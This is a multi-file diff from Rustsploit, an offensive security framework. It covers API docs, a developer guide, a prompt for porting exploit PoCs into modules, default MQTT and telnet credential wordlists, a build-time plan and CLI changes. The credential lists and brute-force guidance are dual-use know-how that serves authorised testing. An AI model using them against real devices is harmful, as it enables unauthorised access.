let client = build_http_client_with(Duration::from_secs(10), HttpClientOpts {
cookie_store: true,
follow_redirects: true,
user_agent: Some("Mozilla/5.0".to_string()),
..HttpClientOpts::default()
})?;
```
#### `HttpClientOpts` Fields
| Field | Type | Default | Description |
|-------|------|---------|-------------|
| `cookie_store` | `bool` | `false` | Enable cookie jar |
| `follow_redirects` | `bool` | `false` | Follow HTTP redirects |
| `user_agent` | `Option<String>` | `None` | Custom User-Agent header |
| `default_headers` | `Option<HeaderMap>` | `None` | Default headers for all requests |
---
### `tcp_connect_addr(addr, timeout) → io::Result<TcpStream>`
Async TCP connection to a `SocketAddr` with timeout and optional source port binding. Preferred over raw `TcpStream::connect` — respects global source port setting.
```rust
use crate::utils::network::tcp_connect_addr;
let stream = tcp_connect_addr(addr, Duration::from_secs(5)).await?;
```
---
### `tcp_connect_str(addr_str, timeout) → io::Result<TcpStream>`
Async TCP connection from a `"host:port"` string. Resolves DNS and connects.
---
### `tcp_port_open(ip, port, timeout) → bool`
Quick async check if a TCP port is open.
---
### `blocking_tcp_connect(addr, timeout) → io::Result<TcpStream>`
Synchronous TCP connection for use in `spawn_blocking` contexts.
---
### `udp_bind(target_ip) → io::Result<UdpSocket>`
Binds a UDP socket to the appropriate address family (IPv4 or IPv6) for the target.
---
### `quick_honeypot_check(ip) → bool`
Fast honeypot detection — probes common ports and returns `true` if 11+ respond (likely honeypot).
---
## `crate::utils::privilege` — Privilege Checks
### `require_root(context) → Result<()>`
Call at the top of `run()` in modules that need raw sockets (ICMP, SYN scan, packet crafting). Returns a clean error message if the current euid is not root.
```rust
use crate::utils::privilege::require_root;
pub async fn run(target: &str) -> Result<()> {
require_root("ICMP raw socket")?;
// ... raw socket operations ...
}
```
Used by: DoS modules (icmp_flood, syn_ack_flood, null_syn_exhaustion, dns_amplification, etc.), ping_sweep scanner.
---
## Extending Utils
Add new reusable helpers to `src/utils/` (the appropriate submodule: `prompt.rs`, `sanitize.rs`, `target.rs`, `network.rs`, or `modules.rs`), `creds/utils.rs`, or `config.rs` rather than copy-pasting into individual modules. Common candidates:
- HTTP header templates
- Response fingerprinting helpers
- Common error formatters
- Credential loaders with streaming support
+23 -249
View File
@@ -1,253 +1,27 @@
# 🛠️ Rustsploit Developer Guide
# Rustsploit Developer Guide
> Reference manual for maintainers and contributors. Covers the architecture, build-time module discovery, shell ergonomics, proxy plumbing, and authoring guidelines for exploits, scanners, and credential modules.
> ⚠️ **This file has been superseded by the new wiki documentation.**
> Please use the links below for up-to-date information.
---
## Table of Contents
1. [Project Overview](#project-overview)
2. [Code Layout](#code-layout)
3. [Build Pipeline & Module Discovery](#build-pipeline--module-discovery)
4. [Shell Architecture](#shell-architecture)
5. [Proxy Subsystem](#proxy-subsystem)
6. [Command-Line Interface](#command-line-interface)
7. [Authoring Modules](#authoring-modules)
8. [Credential Modules: Best Practices](#credential-modules-best-practices)
9. [Exploit Modules: Best Practices](#exploit-modules-best-practices)
10. [Utilities & Helpers](#utilities--helpers)
11. [Testing & QA](#testing--qa)
12. [Roadmap & Ideas](#roadmap--ideas)
---
## Project Overview
Rustsploit is a Rust-first re-imagining of RouterSploit:
- Async-native (Tokio) for scalable brute forcing and network IO
- Auto-discovered modules categorized as `exploits`, `scanners`, and `creds`
- Interactive shell + CLI runner referencing the same dispatch layer
- Proxy-aware execution with run-time rotation, validation, and fallback logic
- IPv4/IPv6-friendly: target normalization happens uniformly
- Carefully colored, concise output designed for operators on remote consoles
---
## Code Layout
```text
rustsploit/
├── Cargo.toml
├── build.rs # Generates dispatcher code by scanning src/modules
├── src/
│ ├── main.rs # Entry point, selects CLI or shell mode
│ ├── cli.rs # Clap-based CLI parser and dispatcher
│ ├── shell.rs # Interactive shell loop + UX helpers
│ ├── commands/ # Dispatch glue for exploits/scanners/creds
│ │ ├── mod.rs
│ │ ├── exploit.rs
│ │ ├── exploit_gen.rs # build.rs output
│ │ ├── scanner.rs
│ │ ├── scanner_gen.rs # build.rs output
│ │ ├── creds.rs
│ │ └── creds_gen.rs # build.rs output
│ ├── modules/ # Fully auto-discovered attack modules
│ │ ├── exploits/
│ │ ├── scanners/
│ │ └── creds/
│ └── utils.rs # Shared helpers (proxy parsing, module lookup, etc.)
├── docs/
│ └── readme.md # This document
├── lists/
│ ├── readme.md # Wordlist + data file catalogue
│ ├── rtsp-paths.txt
│ └── rtsphead.txt
└── README.md # Product overview
```
Key takeaway: modules are just Rust files under `src/modules/**`. Add `pub mod my_module;` in the local `mod.rs`, and the build script handles the rest.
---
## Build Pipeline & Module Discovery
1. **`build.rs` scan:** Before compilation, build.rs walks `src/modules` (depth-limited) looking for `.rs` files that are not `mod.rs`.
2. **Signature detection:** If a file exposes `pub async fn run(`, it is treated as a callable module.
3. **Name generation:** Both a *short name* (`ssh_bruteforce`) and *qualified path* (`creds/generic/ssh_bruteforce`) are registered.
4. **Dispatcher emission:** Three files (`exploit_gen.rs`, `scanner_gen.rs`, `creds_gen.rs`) are emitted with exhaustive `match` statements that map names → `use crate::modules::...::run`.
5. **Shell + CLI usage:** When users invoke `use exploits/foo` or `--module foo`, the dispatcher resolves the actual function.
Because the dispatcher is generated at build time, there is no manual registry drift as long as modules live in the right folder and export `run`.
---
## Shell Architecture
The shell lives in `src/shell.rs`. Highlights:
- **Context:** `ShellContext` stores `current_module`, `current_target`, the loaded `proxy_list`, and `proxy_enabled` boolean.
- **Prompt helpers:** Inline functions prompt for paths, yes/no decisions, timeouts, etc.
- **Shortcut parsing:** `split_command` + `resolve_command` normalize input (e.g., `f1 ssh`, `pon`, `ptest`) to canonical keys.
- **Command palette:** `render_help()` prints a colorized table for quick reference.
- **Proxy tests:** `proxy_test` command triggers async validation via utils.
- **Run pipeline:** On `run`/`go`, the shell enforces:
- Module selected
- Target set
- Proxy state respected (rotate until success or fallback direct)
- Environment variables (`ALL_PROXY`, `HTTP_PROXY`, `HTTPS_PROXY`) set/cleared per attempt
- **State reset:** On exit, nothing is persisted intentionally for OPSEC.
Extensions (tab completion, history) can be added by wrapping the loop with a line-editor crate, but are omitted today to keep dependencies minimal.
---
## Proxy Subsystem
Implemented in `utils.rs` and surfaced in the shell.
- **Loader:** `load_proxies_from_file` reads lists, normalizes schemes (defaulting to `http://`), validates host/port via `Url`, and tolerates comments or blank lines. Returns both valid entries and a list of parse errors (line number, reason).
- **Supported schemes:** `http`, `https`, `socks4`, `socks4a`, `socks5`, `socks5h`.
- **Tester:** `test_proxies` concurrently (Tokio) checks a user-chosen URL using `reqwest::Proxy::all`. Configurable timeout and max concurrency.
- **Result:** Working proxies are retained; failures are reported with the reason (connection refused, invalid cert, etc.).
- **Integration:** Shell invites the user to validate immediately after loading; `proxy_test` can also be used on demand.
Proxies are set globally via environment variables so both module HTTP requests and low-level sockets (if they honor `ALL_PROXY`) benefit.
---
## Command-Line Interface
`src/cli.rs` uses Clap to expose three commands:
- `--command exploit|scanner|creds`
- `--module <name>` (short or qualified, same mapping as the shell)
- `--target <host|IP>`
Example:
```bash
cargo run -- --command exploit --module heartbleed --target 203.0.113.12
```
If the module needs additional parameters, it can prompt interactively (e.g., brute-force modules ask for wordlists even in CLI mode). For automated pipelines, modules should provide sensible defaults or accept environment variables.
---
## Authoring Modules
Every module must export:
```rust
use anyhow::Result;
pub async fn run(target: &str) -> Result<()> {
// ...
Ok(())
}
```
Guidelines:
1. **Location:** choose one of `src/modules/{exploits,scanners,creds}`. Use subfolders for vendor families (e.g., `exploits/cisco/`).
2. **`mod.rs`:** add `pub mod your_module;` in the sibling `mod.rs`. Without this, the build script ignores the file.
3. **Async I/O:** prefer `reqwest`, `tokio::net`, `tokio::process`, etc. Synchronous blocking code should be wrapped with `tokio::task::spawn_blocking` where possible (see SSH module).
4. **Logging:** leverage `colored` for clarity, but keep messages short and actionable. Use `[+]`, `[-]`, `[!]`, `[*]` prefixes consistently.
5. **Error handling:** bubble up with context (`anyhow::Context`) so the shell/CLI surface meaningful errors.
6. **Wordlists / resources:** store under `lists/` and document them in `lists/readme.md`.
7. **Optional interactive mode:** If the module benefits from multiple code paths, optionally expose `run_interactive` and call it from `run`.
### Example skeleton
```rust
use anyhow::{Context, Result};
pub async fn run(target: &str) -> Result<()> {
println!("[*] Checking {}", target);
let url = format!("http://{}/status", target);
let body = reqwest::get(&url)
.await
.with_context(|| format!("failed to reach {}", url))?
.text()
.await
.context("failed to fetch body")?;
if body.contains("vulnerable") {
println!("[+] {} appears vulnerable", target);
} else {
println!("[-] {} not vulnerable", target);
}
Ok(())
}
```
---
## Credential Modules: Best Practices
Modules like FTP/SSH/Telnet/POP3/SMTP/RTSP/RDP follow shared patterns:
- **Input prompts:** ask for port, username/password wordlists, concurrency limit, stop-on-success toggle, output file, verbose logging.
- **Sanitation:** trim wordlist entries, skip blanks, provide early exits if lists are empty.
- **Concurrency:**
- Use `tokio::Semaphore` for asynchronous modules (FTP, SSH).
- Use `threadpool` + `crossbeam-channel` for synchronous protocols (Telnet, POP3, SMTP).
- **Adaptive throttling:** Some modules (FTP) sample CPU/RAM to avoid saturating the host.
- **TLS/STARTTLS:** Accept invalid certs for offensive tooling convenience, but note this clearly.
- **Result persistence:** Offer to write `host -> user:pass` pairs to a local file (in `./` by default).
- **IPv6:** Use helpers like `format_addr` to wrap IPv6 addresses in brackets and support port suffixes.
---
## Exploit Modules: Best Practices
- **CVE referencing:** mention CVE IDs and vendor/product in comments and output.
- **Artifact handling:** If the exploit downloads or writes files (e.g., Heartbleed dump), store them in the current working directory or a named subfolder.
- **Clean-up:** If credentials or accounts are added (Abus camera module), explain the impact and clean-up instructions in output or comments.
- **Safety checks:** Validate responses before declaring success; false positives hurt credibility.
- **Options:** Use `prompt_*` helpers (borrow from existing modules) if end-user input is needed (e.g., RTSP advanced headers, extra path lists).
---
## Utilities & Helpers
`src/utils.rs` provides:
- `normalize_target`: wrap IPv6 addresses in brackets, pass through IPv4/hosts untouched.
- `module_exists` / `list_all_modules` / `find_modules`: used by shell to present module inventory.
- Proxy helpers described earlier (`load_proxies_from_file`, `test_proxies`, etc.).
Feel free to expand this file with reusable pieces (e.g., credential loader, HTTP header templates) to avoid duplication inside modules.
---
## Testing & QA
1. **Static checks:** `cargo fmt` and `cargo clippy` (where available).
2. **Build:** `cargo check` ensures new modules compile.
3. **Runtime smoke tests:**
- Shell: `cargo run``modules` → run a harmless module (e.g., `scanners/sample_scanner`).
- CLI: `cargo run -- --command scanner --module sample_scanner --target 127.0.0.1`.
4. **Proxy validation:** Load a mixed proxy file and confirm `proxy_test` filters entries correctly.
5. **Wordlists:** Validate that required lists exist (e.g., RTSP paths) and are referenced in docstrings.
When adding new modules, include short usage documentation (stdout prints, README notes) so other operators know how to drive them.
---
## Roadmap & Ideas
- Interactive shell improvements (history, tab completion, colored banners)
- Automated module testing harness (mock servers for POP3/SMTP/RTSP)
- Credential module templates (derive-style macros for common prompts)
- Integration with external wordlists (dynamic download or git submodules)
- Session logging (`tee` support) and output JSON export for pipeline ingestion
- Transport abstractions for UDP/DoS modules
Contributions are welcome—open an issue or start a discussion before large refactors.
---
Happy hacking, and remember: **authorized testing only**. Commit messages and module descriptions should always reflect controlled research usage. !*** End Patch
## Wiki Index
| Document | Description |
|----------|-------------|
| [Home](Home.md) | Full documentation index |
| [Getting Started](Getting-Started.md) | Installation, build, Docker |
| [Interactive Shell](Interactive-Shell.md) | Shell walkthrough and commands |
| [CLI Reference](CLI-Reference.md) | All CLI flags and examples |
| [API Server](API-Server.md) | REST API startup, auth, hardening |
| [API Usage Examples](API-Usage-Examples.md) | Practical curl workflows |
| [Module Catalog](Module-Catalog.md) | All modules by category |
| [Module Development](Module-Development.md) | How to author new modules |
| [Security & Validation](Security-Validation.md) | Input validation, security patterns |
| [Credential Modules Guide](Credential-Modules-Guide.md) | Brute-force module best practices |
| [Exploit Modules Guide](Exploit-Modules-Guide.md) | Exploit module best practices |
| [Utilities & Helpers](Utilities-Helpers.md) | `utils.rs` public API |
| [Testing & QA](Testing-QA.md) | Build checks and smoke tests |
| [Changelog](Changelog.md) | Release notes |
| [Contributing](Contributing.md) | Fork guide and PR checklist |
| [Credits](Credits.md) | Authors and acknowledgements |
-75
View File
@@ -1,75 +0,0 @@
Required Signature
The module must contain this exact public async function:
pub async fn run(target: &str) -> anyhow::Result<()>
Or any variant like:
pub async fn run(_target: &str) -> anyhow::Result<()>
Or even:
pub async fn run(host: &str) -> anyhow::Result<()>
Refactor this module to work with the auto-dispatch system. Do not remove any functionality or features. Make sure it defines a pub async fn run(target: &str) -> Result<()> entry point that internally calls the correct logic. Rename any conflicting functions if needed, but preserve all capabilities and structure.
Refactor this code to a Rust module so that it fully integrates into my RouterSploit-inspired Rust auto-dispatch framework.
✅ Preserve all functionality and existing logic — do not remove or simplify any capabilities.
✅ Ensure the module defines a pub async fn run(target: &str) -> Result<()> entry point.
All internal logic must be routed through this function.
✅ If any internal function is named run and conflicts with the dispatch entry, rename it (e.g. to execute, exploit, etc.) — but do not change logic.
✅ The module must compile, follow anyhow::Result<()>, and use proper error propagation (? operator).
✅ Do not add placeholders, pseudocode, or stubs — this must be real working Rust code.
✅ Use async/await and retain all networking, parsing, and exploit behavior from the original logic.
✅ Keep the code idiomatic and modular — preserve structure, variable naming, and async HTTP usage.
✅ If necessary, clean up variable scoping or imports, but never remove real features.
✅ keep all comments from the orginal but add two / before comments
✅ only use the poc and it must be a 1 to 1 convertion
Here is the original module that needs to be refactored:
Strict Requirements:
The code must be 100% pure Rust, fully compatible with Linux operating systems.
The entire driver must use asynchronous Rust throughout (async/await and appropriate crates), enabling non-blocking, concurrent communication with multiple devices.
Do not include any comments, explanations, docstrings, sample usage, placeholder code, TODOs, or example outputs. The output must be only the actual source code required for a complete and functional driver.
The output must be a single, fully compilable Rust source file, containing all necessary use statements, async functions, modules, structs, enums, and logic to support end-to-end operation.
+15
View File
@@ -0,0 +1,15 @@
public
guest
sysadmin
hivemq
emonpimqtt2016
mosquitto
mqttpassword
password
[auto-generated]
[empty]
[printed on PLC]
password
password
password
bitnami
+15
View File
@@ -0,0 +1,15 @@
admin
guest
sysadmin@thingsboard.org
admin
emonpi
mosquitto
mqttuser
admin
homeassistant
DVES_USER
admin
roger
sub_client
pub_client
user
+19 -4
View File
@@ -6,10 +6,14 @@ This directory contains reference lists and helper payloads consumed by modules
## Available Files
| File | Used By | Description |
|------|---------|-------------|
| File / Directory | Used By | Description |
|------------------|---------|-------------|
| `rtsp-paths.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Candidate RTSP paths to brute force when enumerating stream URLs (e.g., `/live.sdp`, `/Streaming/channels/101`). One entry per line; comments can be added with `#` at the start of a line. |
| `rtsphead.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Optional RTSP header templates. When the user enables advanced headers, the module loads this file and injects each header line into outbound requests. Keep headers in `Key: Value` form. |
| `rtsphead.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Optional RTSP header templates. When the user enables "advanced headers," the module loads this file and injects each header line into outbound requests. Keep headers in `Key: Value` form. |
| `telnet-default/` | `creds/generic/telnet_bruteforce.rs` | Default credentials for telnet brute forcing. |
| `telnet-default/usernames.txt` | Telnet bruteforce | Common usernames for telnet authentication (root, admin, user, etc.). |
| `telnet-default/passwords.txt` | Telnet bruteforce | Common passwords for telnet authentication. |
| `telnet-default/empty.txt` | Telnet bruteforce | Placeholder file for configurations that don't require a password list. |
---
@@ -29,5 +33,16 @@ This directory contains reference lists and helper payloads consumed by modules
- `telnet-banners.txt` to fingerprint devices before brute forcing
- `http-admin-panels.txt` for web interface discovery scanners
- Vendor-specific RTSP or ONVIF endpoint lists
- `snmp-community-strings.txt` for SNMP brute forcing
- `fortinet-users.txt` for Fortinet SSL VPN testing
- `ssh-default-creds.txt` for common SSH credentials
Pull requests welcome—please include both the data file and an entry here. !*** End Patch
## Security Notes
When contributing wordlists:
- **No malicious payloads:** Lists should contain credentials/paths only, not exploit code
- **Respect file size limits:** Keep lists under 10MB (framework limit for file reading)
- **UTF-8 encoding:** Use UTF-8 text encoding for all files
- **Line format:** One entry per line, use `#` or `//` for comments
Pull requests welcome—please include both the data file and an entry here.
+20
View File
@@ -0,0 +1,20 @@
admin
password
123456
1234
root
toor
guest
default
admin123
adminadmin
pass
changeme
password1
cisco
ubnt
support
12345
qwerty
letmein
test
+20
View File
@@ -0,0 +1,20 @@
admin
root
user
administrator
guest
support
operator
supervisor
admin1
root1
manager
service
master
tech
sysadmin
default
cisco
ubnt
pi
test
+155
View File
@@ -0,0 +1,155 @@
# Plan: Improve Cargo Build/Run Compile Times
## Context
Clean build takes **14m 39s** (879s) across 431 compilation units. Incremental rebuilds are already fast (0.6s). The goal is to reduce clean/cold build times — critical for CI, fresh clones, and dependency updates.
The biggest bottlenecks (from `cargo --timings`):
- `rustsploit` final crate: **427s** (361 source files compiled as one unit)
- `aws-lc-sys`: **317s** (C library build for rustls crypto — pulled by reqwest & rustls)
- `dbus`: **116s** (solely from btleplug — used by 1 file)
- `tokio`: **105s**
- `darling_core` + `strum_macros`: **182s** (solely from ratatui — used by 1 file)
- `regex-automata` (×2): **175s**
- `clap_builder`: **76s**
- `h2`: **71s**
- `serde_derive` + `async-trait`: **135s**
- `libssh2-sys`: **62s** (C library for ssh2)
- `hickory-proto`: **60s** (used by 1 file)
---
## Changes (ordered by impact / risk)
### 1. Configure lld linker
**Savings: ~30-60s | Risk: None | Effort: 2 min**
`lld` is installed at `/usr/bin/lld` but not configured. The default GNU `ld` is slow for a 110K-line binary.
Create `.cargo/config.toml`:
```toml
[target.x86_64-unknown-linux-gnu]
linker = "clang"
rustflags = ["-C", "link-arg=-fuse-ld=lld"]
```
---
### 2. Switch rustls crypto from aws-lc-rs to ring
**Savings: ~250-280s | Risk: Low | Effort: 5 min**
`aws-lc-sys` (317s) compiles a massive C library via cmake. It's pulled in because `rustls 0.23` defaults to `aws-lc-rs`. The `ring` backend is functionally equivalent and compiles in ~30-50s.
`cargo tree -i aws-lc-sys` confirms the chain: `aws-lc-sys → aws-lc-rs → rustls → {reqwest, tokio-rustls, rustsploit}`.
In `Cargo.toml`:
```toml
rustls = { version = "0.23", default-features = false, features = ["ring", "logging", "std", "tls12"] }
```
No source code changes — `ring` and `aws-lc-rs` expose the same `rustls::crypto::CryptoProvider` API.
**File:** `Cargo.toml` line 50
---
### 3. Feature-gate btleplug + ratatui + crossterm
**Savings: ~300s | Risk: Medium | Effort: 30 min**
These three crates are used by exactly **one file**: `src/modules/exploits/bluetooth/wpair.rs`. Their transitive cost:
| Dep chain | Compile time |
|-----------|-------------|
| btleplug → dbus | 116s |
| btleplug → async-trait | 68s |
| ratatui → strum_macros | 85s |
| ratatui → darling_core | 97s |
| ratatui → ratatui-core | 42s |
| crossterm | ~15s |
Confirmed via `cargo tree -i dbus`, `cargo tree -i strum_macros`, `cargo tree -i darling_core` — all solely from btleplug/ratatui.
**Changes:**
`Cargo.toml` — add features section, make deps optional:
```toml
[features]
default = []
bluetooth = ["dep:btleplug", "dep:ratatui", "dep:crossterm"]
```
```toml
btleplug = { version = "0.12", optional = true }
ratatui = { version = "0.30", optional = true }
crossterm = { version = "0.29", optional = true }
```
`src/modules/exploits/bluetooth/mod.rs` — gate the module:
```rust
#[cfg(feature = "bluetooth")]
pub mod wpair;
```
`build.rs` — skip bluetooth dir when feature is absent. In `generate_dispatch()` (or the `find_modules` walk), check `env::var("CARGO_FEATURE_BLUETOOTH")` and skip paths containing `bluetooth/` when it's not set. This prevents the generated dispatch from referencing `wpair::run` when the module doesn't exist.
When bluetooth is needed: `cargo build --features bluetooth` or `cargo run --features bluetooth`.
---
### 4. Clean up tokio feature flags
**Savings: ~5-10s | Risk: None | Effort: 2 min**
Current line is redundant — `"full"` already includes every named feature plus extras like `test-util`:
```toml
tokio = { version = "1.51", features = ["full", "process", "fs", "io-std", "rt-multi-thread", "macros", "rt"] }
```
Replace with only what's actually used:
```toml
tokio = { version = "1.51", features = ["rt-multi-thread", "macros", "net", "io-util", "io-std", "fs", "process", "sync", "time", "signal"] }
```
**File:** `Cargo.toml` line 20
---
### 5. Feature-gate hickory DNS
**Savings: ~60s | Risk: Low | Effort: 15 min**
`hickory-proto` (60s) + `hickory-client` are used by exactly **one file**: `src/modules/scanners/dns_recursion.rs`.
```toml
[features]
dns = ["dep:hickory-client", "dep:hickory-proto"]
```
```toml
hickory-client = { version = "0.25", optional = true }
hickory-proto = { version = "0.25", optional = true }
```
Gate in the scanner's `mod.rs` with `#[cfg(feature = "dns")]` and update `build.rs` to skip the module when the feature is absent.
---
## Files to modify
| File | Changes |
|------|---------|
| `.cargo/config.toml` | **Create** — lld linker config |
| `Cargo.toml` | rustls features, optional deps, `[features]` section, tokio cleanup |
| `build.rs` | Skip feature-gated module dirs during code generation |
| `src/modules/exploits/bluetooth/mod.rs` | `#[cfg(feature = "bluetooth")]` gate |
| Scanner mod.rs for dns_recursion | `#[cfg(feature = "dns")]` gate |
---
## Verification
1. `cargo clean && cargo build --timings 2>&1` — compare total time to baseline 879s
2. `cargo build --features bluetooth,dns --timings` — verify full build still works
3. `cargo run -- --help` — verify binary starts correctly
4. `cargo run` — enter shell, run a non-bluetooth module (e.g. `use scanners/port_scanner`, `set target 127.0.0.1`, `run`) to confirm dispatch works
5. `cargo build --features bluetooth` — verify bluetooth module compiles and appears in `list modules`
**Expected result:** Clean build drops from ~879s to ~250-350s (60-70% reduction), with changes 1-3 providing the bulk of the savings.
BIN
View File
Binary file not shown.

Before

Width:  |  Height:  |  Size: 116 KiB

After

Width:  |  Height:  |  Size: 367 KiB

+283 -656
View File
File diff suppressed because it is too large Load Diff
+32 -17
View File
@@ -1,13 +1,8 @@
use clap::{ArgGroup, Parser};
use clap::Parser;
/// Simple RouterSploit-like CLI in Rust
#[derive(Parser, Debug)]
#[command(author, version, about, long_about = None)]
#[clap(group(
ArgGroup::new("mode")
.required(false)
.args(&["command", "api"])
))]
pub struct Cli {
/// Subcommand to run (e.g. "exploit", "scanner", "creds")
pub command: Option<String>,
@@ -24,19 +19,39 @@ pub struct Cli {
#[arg(long)]
pub api: bool,
/// API key for authentication (required when --api is used)
/// Path to PQ authorized keys file (default: ~/.rustsploit/pq_authorized_keys)
#[arg(long, requires = "api")]
pub api_key: Option<String>,
pub pq_authorized_keys: Option<String>,
/// Enable hardening mode (auto-rotate API key on suspicious activity)
#[arg(long, requires = "api")]
pub harden: bool,
/// Network interface to bind API server to (default: 0.0.0.0)
#[arg(long, requires = "api", default_value = "0.0.0.0")]
/// Network interface to bind API server to (default: 127.0.0.1)
#[arg(long, requires = "api", default_value = "127.0.0.1")]
pub interface: Option<String>,
/// IP limit for hardening mode (default: 10 unique IPs)
#[arg(long, requires = "harden", default_value = "10")]
pub ip_limit: Option<u32>,
/// Set global target IP/subnet for all modules
#[arg(long)]
pub set_target: Option<String>,
/// Enable verbose output (shows detailed operation logs)
#[arg(short, long)]
pub verbose: bool,
/// List all available modules and exit
#[arg(long)]
pub list_modules: bool,
/// Output format (text, json)
#[arg(long, default_value = "text")]
pub output_format: Option<String>,
/// Execute a resource script file on startup
#[arg(short = 'r', long = "resource")]
pub resource: Option<String>,
/// Path to PQ host key file (default: ~/.rustsploit/pq_host_key)
#[arg(long, requires = "api")]
pub pq_host_key: Option<String>,
/// Launch MCP (Model Context Protocol) server over stdio
#[arg(long)]
pub mcp: bool,
}
-6
View File
@@ -1,7 +1 @@
use anyhow::Result;
include!(concat!(env!("OUT_DIR"), "/creds_dispatch.rs"));
pub async fn run_cred_check(module_name: &str, target: &str) -> Result<()> {
dispatch(module_name, target).await
}
-81
View File
@@ -1,81 +0,0 @@
use std::collections::HashSet;
use std::env;
use std::fs::{self, File};
use std::io::Write;
use std::path::{Path, PathBuf};
fn main() {
let out_dir = env::var("OUT_DIR").unwrap();
// Keep dispatch file naming consistent with build.rs
let dest_path = Path::new(&out_dir).join("creds_dispatch.rs");
let mut file = File::create(&dest_path).unwrap();
let creds_root = Path::new("src/modules/creds");
let mut mappings: HashSet<(String, String)> = HashSet::new();
// Traverse all .rs files (excluding mod.rs)
visit_all_rs(creds_root, "".to_string(), &mut mappings).unwrap();
// Generate dispatch function
writeln!(
file,
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
).unwrap();
for (key, mod_path) in &mappings {
let short_key = key.rsplit('/').next().unwrap_or(&key);
let mod_code_path = mod_path.replace("/", "::");
writeln!(
file,
r#" "{short}" | "{full}" => {{ crate::modules::creds::{path}::run(target).await? }},"#,
short = short_key,
full = key,
path = mod_code_path
).unwrap();
}
writeln!(
file,
r#" _ => anyhow::bail!("Cred module '{{}}' not found.", module_name),"#
).unwrap();
writeln!(file, " }}\n Ok(())\n}}").unwrap();
}
/// Recursively scan `src/modules/creds/` and find all `.rs` files (excluding `mod.rs`)
fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> {
if dir.is_dir() {
for entry in fs::read_dir(dir)? {
let entry = entry?;
let path = entry.path();
let file_name = entry.file_name().to_string_lossy().into_owned();
if path.is_dir() {
let sub_prefix = if prefix.is_empty() {
file_name.clone()
} else {
format!("{}/{}", prefix, file_name)
};
visit_all_rs(&path, sub_prefix, mappings)?;
} else if path.extension().map_or(false, |e| e == "rs") {
if file_name == "mod.rs" {
continue;
}
let file_stem = path.file_stem().unwrap().to_string_lossy();
let mod_path = if prefix.is_empty() {
file_stem.to_string()
} else {
format!("{}/{}", prefix, file_stem)
};
if mappings.insert((mod_path.clone(), mod_path.clone())) {
println!("✅ Found cred module: {}", mod_path);
}
}
}
}
Ok(())
}
-6
View File
@@ -1,7 +1 @@
use anyhow::Result;
include!(concat!(env!("OUT_DIR"), "/exploit_dispatch.rs"));
pub async fn run_exploit(module_name: &str, target: &str) -> Result<()> {
dispatch(module_name, target).await
}
-81
View File
@@ -1,81 +0,0 @@
use std::collections::HashSet;
use std::env;
use std::fs::{self, File};
use std::io::Write;
use std::path::{Path, PathBuf};
fn main() {
let out_dir = env::var("OUT_DIR").unwrap();
let dest_path = Path::new(&out_dir).join("exploit_dispatch.rs");
let mut file = File::create(&dest_path).unwrap();
let exploits_root = Path::new("src/modules/exploits");
let mut mappings: HashSet<(String, String)> = HashSet::new();
// Traverse all .rs files (excluding mod.rs)
visit_all_rs(exploits_root, "".to_string(), &mut mappings).unwrap();
// Start generating dispatch code
writeln!(
file,
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
).unwrap();
for (key, mod_path) in &mappings {
let short_key = key.rsplit('/').next().unwrap_or(&key);
let mod_code_path = mod_path.replace("/", "::");
writeln!(
file,
r#" "{short}" | "{full}" => {{ crate::modules::exploits::{path}::run(target).await? }},"#,
short = short_key,
full = key,
path = mod_code_path
).unwrap();
}
writeln!(
file,
r#" _ => anyhow::bail!("Exploit module '{{}}' not found.", module_name),"#
).unwrap();
writeln!(file, " }}\n Ok(())\n}}").unwrap();
}
/// Recursively walk through directories, find all .rs files excluding mod.rs
fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> {
if dir.is_dir() {
for entry in fs::read_dir(dir)? {
let entry = entry?;
let path = entry.path();
let file_name = entry.file_name().to_string_lossy().into_owned();
if path.is_dir() {
let sub_prefix = if prefix.is_empty() {
file_name.clone()
} else {
format!("{}/{}", prefix, file_name)
};
visit_all_rs(&path, sub_prefix, mappings)?;
} else if path.extension().map_or(false, |e| e == "rs") {
if file_name == "mod.rs" {
continue;
}
let file_stem = path.file_stem().unwrap().to_string_lossy();
let mod_path = if prefix.is_empty() {
file_stem.to_string()
} else {
format!("{}/{}", prefix, file_stem)
};
// Add to mappings if not already added
if mappings.insert((mod_path.clone(), mod_path.clone())) {
println!("✅ Found exploit: {}", mod_path);
}
}
}
}
Ok(())
}
+560 -60
View File
@@ -1,101 +1,601 @@
pub mod exploit;
pub mod scanner;
pub mod creds;
pub mod exploit;
pub mod plugins;
pub mod scanner;
use anyhow::Result;
// Auto-generated registry of all module categories (from build.rs)
mod registry {
include!(concat!(env!("OUT_DIR"), "/module_registry.rs"));
}
use anyhow::{Result, Context};
use crate::cli::Cli;
use walkdir::WalkDir;
use crate::config;
use crate::utils::normalize_target;
use crate::utils::{
is_subnet_target, parse_subnet, subnet_host_count,
is_mass_scan_target, generate_random_public_ip, parse_exclusions, EXCLUDED_RANGES,
};
/// CLI dispatcher: e.g. --command scanner --target "::1" --module scanners/port_scanner
/// CLI dispatcher
pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
let raw = cli_args.target.clone().unwrap_or_default();
let target = normalize_target(&raw)?; // IPv6 wrap only, no port
let module = cli_args.module.clone().unwrap_or_default();
crate::utils::verbose_log(cli_args.verbose, "Handling CLI command...");
match command {
"exploit" => {
let trimmed = module.trim_start_matches("exploits/");
exploit::run_exploit(trimmed, &target).await?;
},
"scanner" => {
let trimmed = module.trim_start_matches("scanners/");
scanner::run_scan(trimmed, &target).await?;
},
"creds" => {
let trimmed = module.trim_start_matches("creds/");
creds::run_cred_check(trimmed, &target).await?;
},
_ => {
eprintln!("Unknown command '{}'", command);
let raw = if let Some(ref t) = cli_args.target {
t.clone()
} else if config::GLOBAL_CONFIG.has_target() {
match config::GLOBAL_CONFIG.get_target() {
Some(t) => {
crate::mprintln!("[*] Using global target: {}", t);
t
}
None => return Err(anyhow::anyhow!("No target specified and global target not set")),
}
}
} else {
return Err(anyhow::anyhow!("No target specified. Use --target <ip> or --set-target <ip/subnet>"));
};
// Skip normalization for mass scan targets (random, 0.0.0.0, file paths)
let target = if is_mass_scan_target(&raw) {
raw.clone()
} else {
normalize_target(&raw)?
};
